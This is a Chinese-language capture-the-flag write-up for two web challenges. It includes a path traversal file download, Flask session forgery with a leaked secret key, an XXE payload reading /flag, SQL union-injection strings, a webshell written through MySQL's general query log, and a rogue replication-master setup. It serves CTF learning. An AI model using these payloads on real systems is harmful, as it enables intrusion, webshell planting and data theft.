2023 安洵杯SYCTF Web-writeup

发布时间 2023-06-13 13:02:43作者: 晨风晓曦

2023 安洵杯SYCTFWeb-writeup

Web

文末:附官方wp,失效可留言联系

CarelessPy

首页的源代码中存在注释,提供了两个功能点。

<!-- 好像有 /eval 路由 和 /login 路由 是拿来干什么的呢? -→

还有一张图片,访问图片发现请求路径:会请求 /download?file=zayu2.jpg,这里能任意下载文件

总共三个点:/eval /login /download

1./eval 页面回显

试试get传参cmd吧 ['home', 'opt', 'lib', 'lib64', 'boot', 'tmp', 'usr', 'etc','mnt', 'sys', 'proc', 'bin', 'dev', 'run', 'root', 'var', 'media', 'sbin','srv','flag', 'app', '.dockerenv', 'start.sh']

可以看到输出的是文件目录,有点类似于 ls / 的结果
试试传参 /eval?cmd=/app 可以发现输出了app目录下的文件
2./login

有一个登录页面 弱密码登录不了,抓包发现有 session 内容

eyJpc2xvZ2luIjpmYWxzZX0.ZFp4VQ.WBaliIlS52fNouAtTbu5DduOpyA

估计就是伪造session 才能登录 首先需要得到 secret_key

所以总结/eval能显示目录 /login伪造session登录 /download下载所需文件

构造去下载提示的start.sh

image-20230613122911124

继续构造下载pyc文件../../../../../../../app/__pycache__/part.cpython-311.pyc

将其进行反编译获取源码

得到 part.py 源码,拿到 secret_key

image-20230613122946932

得到secret_key进行伪造登录login接口

python3 flask_session_3.py encode -s "o2takuXX_donot_like_ntr" -t "{'islogin':True}"
eyJpc2xvZ2luIjp0cnVlfQ.ZIRyRA.okjKxL2LmV5SlZOjFeYfbjs1p6k

然后去 /login 实现登录操作

注意:
这里要传参 username 和 password 才能实现登录
但是不用管传的啥内容 传空值也行 但必须得有

image-20230613123206691

image-20230613124523347

然后去 /th1s_1s_The_L4st_one 路由
发现是 XML 页面
抓包后测试发现 处有回显位
直接用 file协议 xxe注入 读取flag

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<result><ctf>111~</ctf><web>&xxe;</web></result>

image-20230613123315810

Confronting robots

查看源码发现一行提示
回到页面可以看出是一个sql注入,并且可以找到注入点1'or 1=1#

image-20230613123443068

这里直接联合注入或者sqlmap一把梭就行,

爆库,爆表,爆列
1'union select database()#
1'union select group_concat(table_name) from information_schema.tables wheretable_schema='robot_data'#
1'union select group_concat(column_name) from information_schema.columns wheretable_name='name'#
1'union select group_concat(username) from robot_data.name#

最后数据库存放信息:

image-20230613123603388

访问:

image-20230613123743418

点击传输:

image-20230613123823881

看源代码发现了猜拳的规则

image-20230613123846154

必须全对,然后在首页的命令框那发现了sql注入,注进去之后发现是空白的,这表明了我们要往数据库里写东西,从而达到控制10次猜拳的答案。

看到两种思路:1.日志写shell 2.主从复制

1.日志写shell

个人觉得算非预期解,出题者应该把web目录设置为不可写。

开启全局的通用查询日志之后直接日志写马导致WEBSHELL

set global general_log='on'

set global general_log_file='/var/www/html/sEcR@t_n@Bodyknow.php'

image-20230613124714631

然后直接select记录一次马即可shell

蚁剑连接game.php得到flag

image-20230613124736873

2.通过尝试发现insert等命令是不行的,所以想到还有一种可以同步数据的方法:主从复制

查看数据库版本:
select version();

在自己vps上起一个相同版本的mariadb,修改默认配置文件vim /etc/mysql/my.cnf允许远程访问并启用二进制日志
server-id = 1 log_bin = /var/log/mysql/mariadb-bin
service mysql restart
自己的vps作为主,题目环境作为从
主服务器执行

CREATE USER 'atest'@'%' IDENTIFIED BY 'testtest';
grant replication slave on . to 'atest'@'%';
flush privileges;

使用select database(); show tables; desc game; 等查询命令将从服务器上的数据库结构一比一复刻到
主服务器上

image-20230613124915290

CREATE DATABASE IF NOT EXISTS game_data;
use game_data
CREATE TABLE IF NOT EXISTS game ( round int(20) , choice varchar(256) ) ;

在主服务器mysql中执行

show master status;

记录下来 File和 Position

mysql-bin.000001 1376
在从服务器(题目环境)命令框中输入

CHANGE MASTER TO MASTER_HOST='主服务器ip', MASTER_USER='atest',
MASTER_PASSWORD='testtest', MASTER_LOG_FILE='mariadb-bin.000001(记录的值)',
MASTER_LOG_POS=1365(记录的值);

start slave;
show slave status;

显示这个表示成功连接上
主服务器中执行
INSERT INTO game ( round , choice ) VALUES ('1', 'R'), ('2', 'R'),('3', 'R'), ('4', 'R'),('5', 'R'), ('6', 'R'),('7','R'), ('8', 'R'),('9', 'R'), ('10', 'R');
在开始挑战处输入对应的答案得到flag

官方wp:https://www.kdocs.cn/l/cpcke0jhBRxh

参考:12